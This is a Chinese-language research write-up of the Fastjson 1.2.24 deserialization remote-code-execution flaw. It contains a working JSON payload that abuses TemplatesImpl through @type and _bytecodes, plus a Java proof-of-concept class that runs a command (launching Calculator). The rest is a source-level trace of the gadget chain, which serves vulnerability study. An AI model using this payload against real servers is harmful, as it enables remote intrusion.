Fastjson 反序列化漏洞研究
fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k,在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
0x01 简介
fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k,在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
0x02 利用条件
-
Version <= 1.2.24
-
可以利用 1.2.22 <= Version <= 1.2.24,因为此后才支持
SupportNonPublicField -
使用
parseObjext解析且开启Feature.SupportNonPublicFieldJSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
0x03 Poc
实际上_outputProperties也可以用outputProperties
{ "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes" : ["恶意类的base64encode"], "_name" : "Sariel.D", "_tfactory" : {}, "_outputProperties" : {}}编译为.class后填充到_bytecodes中即可
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Poc extends AbstractTranslet {
public Poc() { try { Runtime.getRuntime().exec("open /Applications/Calculator.app"); } catch (IOException e) {} }
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }}0x04 漏洞逻辑
使用parseObject方法进行反序列化,通过这种方法返回的是一个JSONObject
// 通过parse方法进行反序列化User user = (User)JSON.parse(serializedStr);// test.User@4e515669
// 通过parseObject方法进行反序列化 通过这种方法返回的是一个JSONObjectObject ob = JSON.parseObject(serializedStr);// {"Username":"xiaoming","Sex":"male","sex":"male","username":"xiaoming"}
// 通过这种方式返回的是一个相应的类对象Object obj1 = JSON.parseObject(serializedStr1,Object.class);// test.User@1b9e1916跟入
public static <T> T parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features) { if (input == null) { return null; } else { if (features != null) { Feature[] var6 = features; ... } // 预解析内容和选项 DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues); ... // 获取目标对象类型 T value = parser.parseObject(clazz, (Object)null); ... }}fastjson调用DefaultJSONParser进行预解析,通过第一个字符{判定lexer.token为12
// com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.Object, com.alibaba.fastjson.parser.JSONLexer, com.alibaba.fastjson.parser.ParserConfig)
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) { this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT; ... this.lexer = lexer; this.input = input; this.config = config; this.symbolTable = config.symbolTable; int ch = lexer.getCurrent(); if (ch == '{') { lexer.next(); ((JSONLexerBase)lexer).token = 12; } else if (ch == '[') { lexer.next(); ((JSONLexerBase)lexer).token = 14; } else { lexer.nextToken(); }
}第二步获取目标对象类型
// com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.lang.reflect.Type, java.lang.Object)
public <T> T parseObject(Type type, Object fieldName) { int token = this.lexer.token(); if (token == 8) { ... } else { if (token == 4) { ... }
// 获取目标对象反序列化解析器 ObjectDeserializer derializer = this.config.getDeserializer(type);
try { // 执行反序列化 return derializer.deserialze(this, type, fieldName); } catch (JSONException var6) { ... } }}目标是Object
// com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type)
public ObjectDeserializer getDeserializer(Type type) { // 从内部已注册的查找目标反序列化实例 ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type); if (derializer != null) { // ※ 第一次,这里返回 class java.lang.Object return derializer; } else if (type instanceof Class) { // 根据特定类型进行查找 // 第二次,这返回 class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl return this.getDeserializer((Class)type, type); } else if (type instanceof ParameterizedType) { // 根据泛型类原始类型查找 Type rawType = ((ParameterizedType)type).getRawType(); // 如果是泛型原始类型是引用类型再次查找 return rawType instanceof Class ? this.getDeserializer((Class)rawType, type) : this.getDeserializer(rawType); } else { return // 如果无法匹配,使用默认JavaObjectDeserializer反序列化 JavaObjectDeserializer.instance; }}进入反序列化,进入到parser.parse(fieldName),注意到上面定义有fieladNane == (Object)null
// com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { if (type instanceof GenericArrayType) { ... } else { return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName); }}跟入后开始解析
// com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)
public Object parse(Object fieldName) { JSONLexer lexer = this.lexer; switch(lexer.token()) { ... case 12: JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return this.parseObject((Map)object, fieldName); ... }}接下这段就比较复杂,首先遇到的是第一个key@type,然后进行了以下的判断,如果是@type并且启用了特殊key检查的话,那么就把对应的value作为类来加载
// com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ref = lexer.scanSymbol(this.symbolTable, '"'); Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader()); if (clazz != null) { lexer.nextToken(16); if (lexer.token() != 13) { ... ObjectDeserializer deserializer = this.config.getDeserializer(clazz); thisObj = deserializer.deserialze(this, clazz, fieldName); return thisObj; } ...到这里感觉就是先粗加工(准备默认Object反序列化),然后根据配置信息以及预处理内容进行精加工(准备目标类型反序列化)
接着进入com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type),在这里对目标类型进行各种比较,如果是常见类直接返回相应实例,fastjson也内置了一些常见的反序列化方法,由于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并不常见,且不再黑名单中,所以最后调用createJavaBeanDeserializer进行反序列化,


接着调用JavaBeanInfo.build
// com.alibaba.fastjson.parser.ParserConfig#createJavaBeanDeserializer
public JavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type){ this(config, JavaBeanInfo.build(clazz, type, config.propertyNamingStrategy));}在com.alibaba.fastjson.util.JavaBeanInfo#build里,会把目标类的方法和字段遍历一遍,分不同情况进行处理。类里面没有用@JSONField标记过的方法需要满足一些条件才能被加到列表里
比如需要满足以下条件的setter

- 函数名长度 >= 4
- 非静态函数
- 返回类型要么是
void要么是当前类 - 参数只有一个
- 方法名需要以
set开头
这些方法是典型的类成员变量的setter方法。通过这些方法的名字可以推测出对应的成员变量的名字。除了按照javaBean的规范来解析,fastjson还会推测一些其他的写法。
- 第4个字母大写或者是
Unicode,取set后面的字符并将第一个字符转成小写当做变量名 - 第4个字母是
_,取_后面的字符当做变量名 - 第4个字母是
f,取set后面的字符当做变量名 - 第5个字母大写或长度大于等于5,取
set后面的字符在TypeUtils.decapitalize中决定是否小写首字符
满足以下条件的getter
- 函数名长度 >= 4
- 非静态函数
- 函数名称以
get起始,且第四个字符为大写字母 - 函数没有入参
- 继承自
Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
以及 Field – 条件暂时不看

通过解析目标类中的method预测fields进行填充后,准备反序列化

在这里循环fields先赋默认值再进行匹配赋值
// com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) { if (fieldIndex < this.sortedFieldDeserializers.length) { fieldDeser = this.sortedFieldDeserializers[fieldIndex]; fieldInfo = fieldDeser.fieldInfo; fieldClass = fieldInfo.fieldClass; feildAnnotation = fieldInfo.getAnnotation(); }
while(true){ label978: { label1008: { boolean matchField = false; boolean valueParsed = false; Object fieldValue = null; if (fieldDeser != null) { ... } if (!matchField) { ... } if (object == null && fieldValues == null) { ... } if (matchField) { ... } else { boolean match = this.parseField(parser, key, object, type, fieldValues); ... } } } } ...}进入parseFiled进行解析,首先经过smartMatch对目标变量进行处理,这里会删除下标_
// com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) { ... FieldDeserializer fieldDeserializer = this.smartMatch(key); ... if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) { ... }
if (fieldDeserializer == null) { ... } else { ... ((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues); return true; }}再进入对应的反序列器的parseField方法,首先通过反序列化获取值,再通过setValue进行赋值
// com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) { ...
Object value; if (this.fieldValueDeserilizer instanceof JavaBeanDeserializer) { ... } else if (this.fieldInfo.format != null && this.fieldValueDeserilizer instanceof ContextObjectDeserializer) { ... } else { value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name); }
if (parser.getResolveStatus() == 1) { ... } else if (object == null) { ... } else { this.setValue(object, value); }
}_bytecodes解析时会进入com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze调用bytesValue,这里先解码一次base64
// com.alibaba.fastjson.parser.JSONScanner#bytesValue
public byte[] bytesValue() { return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);}当执行到_outputProperties时,通过smartMatch匹配到对应函数为getOutputProperties,之后进入赋值

Properties 继承 Hashtable 实现了 Map,进入反射

接下来就是连续调用
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); ...}public synchronized Transformer newTransformer() throws TransformerConfigurationException{ TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
...}private Translet getTransletInstance() throws TransformerConfigurationException { try { ...
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ...这里需要注意一点,Poc类需要继承自AbstractTranslet,否则会抛出异常
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) { ... }
...
try { final int classCount = _bytecodes.length; _class = new Class[classCount];
if (classCount > 1) { _auxClasses = new HashMap<>(); }
for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass();
// Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); }
...攻击链
getOutputProperties() -> getTransletInstance() -> getTransletInstance() -> AbstractTranslet newInstance()偷懒大法,贴上调用链

参考资料
private成员变量的处理:https://xz.aliyun.com/t/178#toc-2- ※ 补丁绕过:https://p0sec.net/index.php/archives/123/
- ※ 利用思路:https://5alt.me/2017/09/fastjson调试利用记录/
- 利用
TemplatesImpl作者:http://xxlegend.com/2017/04/29/title-%20fastjson%20远程反序列化poc的构造和分析/